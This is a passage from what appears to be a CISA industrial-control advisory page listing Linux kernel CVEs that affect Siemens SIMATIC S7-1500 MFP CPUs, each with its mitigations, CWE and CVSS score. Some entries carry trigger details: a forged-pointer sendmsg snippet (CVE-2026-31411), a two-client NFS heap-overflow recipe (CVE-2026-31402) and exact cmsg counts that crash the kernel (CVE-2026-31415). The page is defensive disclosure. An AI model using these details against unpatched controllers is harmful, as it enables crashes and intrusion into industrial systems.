<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31391</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: atmel-sha204a - Fix OOM -&gt;tfm_count leak If memory allocation fails, decrement -&gt;tfm_count to avoid blocking future reads.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31391">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/911.html">CWE-911 Improper Update of Reference Count</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31396</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: macb: fix use-after-free access to PTP clock PTP clock is registered on every opening of the interface and destroyed on every closing. However it may be accessed via get_ts_info ethtool call which is possible while the interface is just present in the kernel. BUG: KASAN: use-after-free in ptp_clock_index+0x47/0x50 drivers/ptp/ptp_clock.c:426 Read of size 4 at addr ffff8880194345cc by task syz.0.6/948 CPU: 1 PID: 948 Comm: syz.0.6 Not tainted 6.1.164+ #109 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.16.1-0-g3208b098f51a-prebuilt.qemu.org 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:88 [inline] dump_stack_lvl+0x8d/0xba lib/dump_stack.c:106 print_address_description mm/kasan/report.c:316 [inline] print_report+0x17f/0x496 mm/kasan/report.c:420 kasan_report+0xd9/0x180 mm/kasan/report.c:524 ptp_clock_index+0x47/0x50 drivers/ptp/ptp_clock.c:426 gem_get_ts_info+0x138/0x1e0 drivers/net/ethernet/cadence/macb_main.c:3349 macb_get_ts_info+0x68/0xb0 drivers/net/ethernet/cadence/macb_main.c:3371 __ethtool_get_ts_info+0x17c/0x260 net/ethtool/common.c:558 ethtool_get_ts_info net/ethtool/ioctl.c:2367 [inline] __dev_ethtool net/ethtool/ioctl.c:3017 [inline] dev_ethtool+0x2b05/0x6290 net/ethtool/ioctl.c:3095 dev_ioctl+0x637/0x1070 net/core/dev_ioctl.c:510 sock_do_ioctl+0x20d/0x2c0 net/socket.c:1215 sock_ioctl+0x577/0x6d0 net/socket.c:1320 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:870 [inline] __se_sys_ioctl fs/ioctl.c:856 [inline] __x64_sys_ioctl+0x18c/0x210 fs/ioctl.c:856 do_syscall_x64 arch/x86/entry/common.c:46 [inline] do_syscall_64+0x35/0x80 arch/x86/entry/common.c:76 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Allocated by task 457: kmalloc include/linux/slab.h:563 [inline] kzalloc include/linux/slab.h:699 [inline] ptp_clock_register+0x144/0x10e0 drivers/ptp/ptp_clock.c:235 gem_ptp_init+0x46f/0x930 drivers/net/ethernet/cadence/macb_ptp.c:375 macb_open+0x901/0xd10 drivers/net/ethernet/cadence/macb_main.c:2920 __dev_open+0x2ce/0x500 net/core/dev.c:1501 __dev_change_flags+0x56a/0x740 net/core/dev.c:8651 dev_change_flags+0x92/0x170 net/core/dev.c:8722 do_setlink+0xaf8/0x3a80 net/core/rtnetlink.c:2833 __rtnl_newlink+0xbf4/0x1940 net/core/rtnetlink.c:3608 rtnl_newlink+0x63/0xa0 net/core/rtnetlink.c:3655 rtnetlink_rcv_msg+0x3c6/0xed0 net/core/rtnetlink.c:6150 netlink_rcv_skb+0x15d/0x430 net/netlink/af_netlink.c:2511 netlink_unicast_kernel net/netlink/af_netlink.c:1318 [inline] netlink_unicast+0x6d7/0xa30 net/netlink/af_netlink.c:1344 netlink_sendmsg+0x97e/0xeb0 net/netlink/af_netlink.c:1872 sock_sendmsg_nosec net/socket.c:718 [inline] __sock_sendmsg+0x14b/0x180 net/socket.c:730 __sys_sendto+0x320/0x3b0 net/socket.c:2152 __do_sys_sendto net/socket.c:2164 [inline] __se_sys_sendto net/socket.c:2160 [inline] __x64_sys_sendto+0xdc/0x1b0 net/socket.c:2160 do_syscall_x64 arch/x86/entry/common.c:46 [inline] do_syscall_64+0x35/0x80 arch/x86/entry/common.c:76 entry_SYSCALL_64_after_hwframe+0x6e/0xd8 Freed by task 938: kasan_slab_free include/linux/kasan.h:177 [inline] slab_free_hook mm/slub.c:1729 [inline] slab_free_freelist_hook mm/slub.c:1755 [inline] slab_free mm/slub.c:3687 [inline] __kmem_cache_free+0xbc/0x320 mm/slub.c:3700 device_release+0xa0/0x240 drivers/base/core.c:2507 kobject_cleanup lib/kobject.c:681 [inline] kobject_release lib/kobject.c:712 [inline] kref_put include/linux/kref.h:65 [inline] kobject_put+0x1cd/0x350 lib/kobject.c:729 put_device+0x1b/0x30 drivers/base/core.c:3805 ptp_clock_unregister+0x171/0x270 drivers/ptp/ptp_clock.c:391 gem_ptp_remove+0x4e/0x1f0 drivers/net/ethernet/cadence/macb_ptp.c:404 macb_close+0x1c8/0x270 drivers/net/ethernet/cadence/macb_main.c:2966 __dev_close_many+0x1b9/0x310 net/core/dev.c:1585 __dev_close net/core/dev.c:1597 [inline] __dev_change_flags+0x2bb/0x740 net/core/dev.c:8649 dev_change_fl ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31396">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31402</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nfsd: fix heap overflow in NFSv4.0 LOCK replay cache The NFSv4.0 replay cache uses a fixed 112-byte inline buffer (rp_ibuf[NFSD4_REPLAY_ISIZE]) to store encoded operation responses. This size was calculated based on OPEN responses and does not account for LOCK denied responses, which include the conflicting lock owner as a variable-length field up to 1024 bytes (NFS4_OPAQUE_LIMIT). When a LOCK operation is denied due to a conflict with an existing lock that has a large owner, nfsd4_encode_operation() copies the full encoded response into the undersized replay buffer via read_bytes_from_xdr_buf() with no bounds check. This results in a slab-out-of-bounds write of up to 944 bytes past the end of the buffer, corrupting adjacent heap memory. This can be triggered remotely by an unauthenticated attacker with two cooperating NFSv4.0 clients: one sets a lock with a large owner string, then the other requests a conflicting lock to provoke the denial. We could fix this by increasing NFSD4_REPLAY_ISIZE to allow for a full opaque, but that would increase the size of every stateowner, when most lockowners are not that large. Instead, fix this by checking the encoded response length against NFSD4_REPLAY_ISIZE before copying into the replay buffer. If the response is too large, set rp_buflen to 0 to skip caching the replay payload. The status is still cached, and the client already received the correct response on the original request.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31402">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31403</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: NFSD: Hold net reference for the lifetime of /proc/fs/nfs/exports fd The /proc/fs/nfs/exports proc entry is created at module init and persists for the module's lifetime. exports_proc_open() captures the caller's current network namespace and stores its svc_export_cache in seq-&gt;private, but takes no reference on the namespace. If the namespace is subsequently torn down (e.g. container destruction after the opener does setns() to a different namespace), nfsd_net_exit() calls nfsd_export_shutdown() which frees the cache. Subsequent reads on the still-open fd dereference the freed cache_detail, walking a freed hash table. Hold a reference on the struct net for the lifetime of the open file descriptor. This prevents nfsd_net_exit() from running -- and thus prevents nfsd_export_shutdown() from freeing the cache -- while any exports fd is open. cache_detail already stores its net pointer (cd-&gt;net, set by cache_create_net()), so exports_release() can retrieve it without additional per-file storage.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31403">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31411</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: atm: fix crash due to unvalidated vcc pointer in sigd_send() Reproducer available at [1]. The ATM send path (sendmsg -&gt; vcc_sendmsg -&gt; sigd_send) reads the vcc pointer from msg-&gt;vcc and uses it directly without any validation. This pointer comes from userspace via sendmsg() and can be arbitrarily forged: int fd = socket(AF_ATMSVC, SOCK_DGRAM, 0); ioctl(fd, ATMSIGD_CTRL); // become ATM signaling daemon struct msghdr msg = { .msg_iov = &amp;iov, ... }; *(unsigned long *)(buf + 4) = 0xdeadbeef; // fake vcc pointer sendmsg(fd, &amp;msg, 0); // kernel dereferences 0xdeadbeef In normal operation, the kernel sends the vcc pointer to the signaling daemon via sigd_enq() when processing operations like connect(), bind(), or listen(). The daemon is expected to return the same pointer when responding. However, a malicious daemon can send arbitrary pointer values. Fix this by introducing find_get_vcc() which validates the pointer by searching through vcc_hash (similar to how sigd_close() iterates over all VCCs), and acquires a reference via sock_hold() if found. Since struct atm_vcc embeds struct sock as its first member, they share the same lifetime. Therefore using sock_hold/sock_put is sufficient to keep the vcc alive while it is being used. Note that there may be a race with sigd_close() which could mark the vcc with various flags (e.g., ATM_VF_RELEASED) after find_get_vcc() returns. However, sock_hold() guarantees the memory remains valid, so this race only affects the logical state, not memory safety. [1]: https://gist.github.com/mrpre/1ba5949c45529c511152e2f4c755b0f3</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31411">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/822.html">CWE-822 Untrusted Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31414</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack_expect: use expect-&gt;helper Use expect-&gt;helper in ctnetlink and /proc to dump the helper name. Using nfct_help() without holding a reference to the master conntrack is unsafe. Use exp-&gt;master-&gt;helper in ctnetlink path if userspace does not provide an explicit helper when creating an expectation to retain the existing behaviour. The ctnetlink expectation path holds the reference on the master conntrack and nf_conntrack_expect lock and the nfnetlink glue path refers to the master ct that is attached to the skb.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31414">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.8</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31415</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: ipv6: avoid overflows in ip6_datagram_send_ctl() Yiming Qian reported : I believe I found a locally triggerable kernel bug in the IPv6 sendmsg ancillary-data path that can panic the kernel via `skb_under_panic()` (local DoS). The core issue is a mismatch between: - a 16-bit length accumulator (`struct ipv6_txoptions::opt_flen`, type `__u16`) and - a pointer to the *last* provided destination-options header (`opt-&gt;dst1opt`) when multiple `IPV6_DSTOPTS` control messages (cmsgs) are provided. - `include/net/ipv6.h`: - `struct ipv6_txoptions::opt_flen` is `__u16` (wrap possible). (lines 291-307, especially 298) - `net/ipv6/datagram.c:ip6_datagram_send_ctl()`: - Accepts repeated `IPV6_DSTOPTS` and accumulates into `opt_flen` without rejecting duplicates. (lines 909-933) - `net/ipv6/ip6_output.c:__ip6_append_data()`: - Uses `opt-&gt;opt_flen + opt-&gt;opt_nflen` to compute header sizes/headroom decisions. (lines 1448-1466, especially 1463-1465) - `net/ipv6/ip6_output.c:__ip6_make_skb()`: - Calls `ipv6_push_frag_opts()` if `opt-&gt;opt_flen` is non-zero. (lines 1930-1934) - `net/ipv6/exthdrs.c:ipv6_push_frag_opts()` / `ipv6_push_exthdr()`: - Push size comes from `ipv6_optlen(opt-&gt;dst1opt)` (based on the pointed-to header). (lines 1179-1185 and 1206-1211) 1. `opt_flen` is a 16-bit accumulator: - `include/net/ipv6.h:298` defines `__u16 opt_flen; /* after fragment hdr */`. 2. `ip6_datagram_send_ctl()` accepts *repeated* `IPV6_DSTOPTS` cmsgs and increments `opt_flen` each time: - In `net/ipv6/datagram.c:909-933`, for `IPV6_DSTOPTS`: - It computes `len = ((hdr-&gt;hdrlen + 1) &lt;&lt; 3);` - It checks `CAP_NET_RAW` using `ns_capable(net-&gt;user_ns, CAP_NET_RAW)`. (line 922) - Then it does: - `opt-&gt;opt_flen += len;` (line 927) - `opt-&gt;dst1opt = hdr;` (line 928) There is no duplicate rejection here (unlike the legacy `IPV6_2292DSTOPTS` path which rejects duplicates at `net/ipv6/datagram.c:901-904`). If enough large `IPV6_DSTOPTS` cmsgs are provided, `opt_flen` wraps while `dst1opt` still points to a large (2048-byte) destination-options header. In the attached PoC (`poc.c`): - 32 cmsgs with `hdrlen=255` =&gt; `len = (255+1)*8 = 2048` - 1 cmsg with `hdrlen=0` =&gt; `len = 8` - Total increment: `32*2048 + 8 = 65544`, so `(__u16)opt_flen == 8` - The last cmsg is 2048 bytes, so `dst1opt` points to a 2048-byte header. 3. The transmit path sizes headers using the wrapped `opt_flen`: - In `net/ipv6/ip6_output.c:1463-1465`: - `headersize = sizeof(struct ipv6hdr) + (opt ? opt-&gt;opt_flen + opt-&gt;opt_nflen : 0) + ...;` With wrapped `opt_flen`, `headersize`/headroom decisions underestimate what will be pushed later. 4. When building the final skb, the actual push length comes from `dst1opt` and is not limited by wrapped `opt_flen`: - In `net/ipv6/ip6_output.c:1930-1934`: - `if (opt-&gt;opt_flen) proto = ipv6_push_frag_opts(skb, opt, proto);` - In `net/ipv6/exthdrs.c:1206-1211`, `ipv6_push_frag_opts()` pushes `dst1opt` via `ipv6_push_exthdr()`. - In `net/ipv6/exthdrs.c:1179-1184`, `ipv6_push_exthdr()` does: - `skb_push(skb, ipv6_optlen(opt));` - `memcpy(h, opt, ipv6_optlen(opt));` With insufficient headroom, `skb_push()` underflows and triggers `skb_under_panic()` -&gt; `BUG()`: - `net/core/skbuff.c:2669-2675` (`skb_push()` calls `skb_under_panic()`) - `net/core/skbuff.c:207-214` (`skb_panic()` ends in `BUG()`) - The `IPV6_DSTOPTS` cmsg path requires `CAP_NET_RAW` in the target netns user namespace (`ns_capable(net-&gt;user_ns, CAP_NET_RAW)`). - Root (or any task with `CAP_NET_RAW`) can trigger this without user namespaces. - An unprivileged `uid=1000` user can trigger this if unprivileged user namespaces are enabled and it can create a userns+netns to obtain namespaced `CAP_NET_RAW` (the attached PoC does this). - Local denial of service: kernel BUG/panic (system crash). - ---truncated---</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-31415">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/190.html">CWE-190 Integer Overflow or Wraparound</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-31416</a></h3>
<div class="csaf-accordion-content">
